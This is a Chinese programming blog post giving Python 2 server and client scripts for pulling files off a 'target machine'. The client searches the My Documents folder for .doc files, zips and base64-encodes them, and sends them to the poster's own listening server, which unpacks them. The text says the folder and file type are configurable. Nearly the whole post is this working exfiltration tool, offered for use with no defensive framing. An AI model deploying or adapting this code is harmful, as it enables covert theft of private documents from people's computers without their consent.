python实现获取客户机上指定文件并传输到服务器的方法
admin
2023-07-31 02:18:52
0

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

复制代码 代码如下:# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
    HOST = \’127.0.0.1\’
    PORT = 2000
    BUF_SIZE = 6553500 #6M
    key = \’ouyang\’
    timeout = 5
    dicName = \”ouyang\\\\\”
    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        ss.bind((HOST,PORT))
        ss.listen(5)
        print \”wating for conntecting…\”
        while True:
            try:
                cs,addr = ss.accept()
                socket.setdefaulttimeout(timeout)
                cs.send(\”200 Connected!\”)
                #获取加密数据
                encode_data = cs.recv(BUF_SIZE)
                #把数据写到out.zip文件
                tmpfile = open(\’out.tmp\’,\’wb\’)
                try:
                    tmpfile.write(encode_data)
                    tmpfile.close()
                except IOError,e:
                    print \’Strange error creating IOError:%s\’ % e 
                    tmpfile.close()
                finally:
                    tmpfile.close()
                #base64 decode 2进制 解密 decode(infile,outfile)
                tmpfile = open(\’out.tmp\’,\’rb\’)
                outfile = open(\’out.zip\’,\’wb\’)
                base64.decode(tmpfile,outfile)
                tmpfile.close()
                outfile.close()
                #打开zip文件
                zfile = zipfile.ZipFile(\’out.zip\’,\’r\’)
                #创建一个文件夹来存放获取的zip文件
                if not os.path.exists(dicName):
                    os.mkdir(dicName)
                for f in zfile.namelist():
                    data = zfile.read(f)
                    file = open(dicName+os.path.basename(f),\’w+b\’)
                    file.write(data)
                    file.close()
                print \”finished!!!\”
                zfile.close()
                #后续处理 删除临时文件
                os.remove(\’out.tmp\’)
                cs.close()
            except socket.error, e: 
                print \’Strange error creating socket:%s\’ % e 
                cs.close()
        ss.close()
    except socket.error, e:
        print \’Strange error creating socket:%s\’ % e 
        ss.close()
if __name__==\’__main__\’:
    main()

客户端程序:

复制代码 代码如下:# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))     
        for name in dirs:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))
def main():      
    HOST = \’127.0.0.1\’
    PORT = 2000
    BUF_SIZE = 65535
    key = \’ouyang\’
    dicName = \”C:\\Documents and Settings\\Administrator\\我的文档\”
    extName = \’.doc\’
    #遍历搜索我的文档的doc类型
    try:
        filelist = []
        walk_dir(dicName,filelist,extName)
    except IOError,e:
        print \”文件处理错误: \” % e
        sys.exit(-1)
    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        cs.connect((HOST,PORT))
        print cs.recv(BUF_SIZE)
        #压缩成zip文件
        zfile = zipfile.ZipFile(\’in.zip\’,\’w\’,zipfile.ZIP_DEFLATED)
        for f in filelist:
            zfile.write(f)
        zfile.close()
        #base 2进制 加密 encode(infile,outfile)
        infile = open(\’in.zip\’,\’rb\’)
        tmpfile = open(\’in.tmp\’,\’wb\’)
        base64.encode(infile,tmpfile)
        infile.close()
        tmpfile.close()
        #send
        tmpfile = open(\’in.tmp\’,\’rb\’)
        cs.send(tmpfile.read())
        tmpfile.close()
        #后续处理 删除中间文件
        os.remove(\’in.tmp\’)
        cs.close()
    except socket.error ,e:
        print \’socket 出错啦:\’ % e
        cs.close()
if __name__==\’__main__\’:
    main()

希望本文所述对大家的Python程序设计有所帮助。

相关内容

热门资讯

500 行 Python 代码... 语法分析器描述了一个句子的语法结构,用来帮助其他的应用进行推理。自然语言引入了很多意外的歧义,以我们...
定时清理删除C:\Progra... C:\Program Files (x86)下面很多scoped_dir开头的文件夹 写个批处理 定...
65536是2的几次方 计算2... 65536是2的16次方:65536=2⁶ 65536是256的2次方:65536=256 6553...
Mobi、epub格式电子书如... 在wps里全局设置里有一个文件关联,打开,勾选电子书文件选项就可以了。
scoped_dir32_70... 一台虚拟机C盘总是莫名奇妙的空间用完,导致很多软件没法再运行。经过仔细检查发现是C:\Program...
小程序支付时提示:appid和... [Q]小程序支付时提示:appid和mch_id不匹配 [A]小程序和微信支付没有进行关联,访问“小...
pycparser 是一个用... `pycparser` 是一个用 Python 编写的 C 语言解析器。它可以用来解析 C 代码并构...
微信小程序使用slider实现... 众所周知哈,微信小程序里面的音频播放是没有进度条的,但最近有个项目呢,客户要求音频要有进度条控制,所...
python查找阿姆斯特朗数 题目解释 如果一个n位正整数等于其各位数字的n次方之和,则称该数为阿姆斯特朗数。 例如1^3 + 5...
Apache Doris 2.... 亲爱的社区小伙伴们,我们很高兴地向大家宣布,Apache Doris 2.0.0 版本已于...